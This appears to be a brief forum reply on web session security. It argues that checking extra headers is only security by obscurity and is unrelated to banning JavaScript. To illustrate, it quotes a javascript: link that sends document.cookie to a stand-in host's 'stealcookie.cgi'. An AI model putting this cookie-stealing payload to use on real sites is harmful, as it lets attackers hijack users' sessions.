The idea is that it isn't known which headers are used as additional information. This is only security by obscurity of course, but it's slightly better than no extra measures at all.

You did notice I said this point was completely orthogonal to banning JS, right? Obviously the script on the other side of <a href="javascript:open('http://foo.com/stealcookie.cgi?c='+document.cookie,'_self','',1)"> can record the entire HTTP request header anyway, so these issues have nothing to do with each other.

Makeshifts last the longest.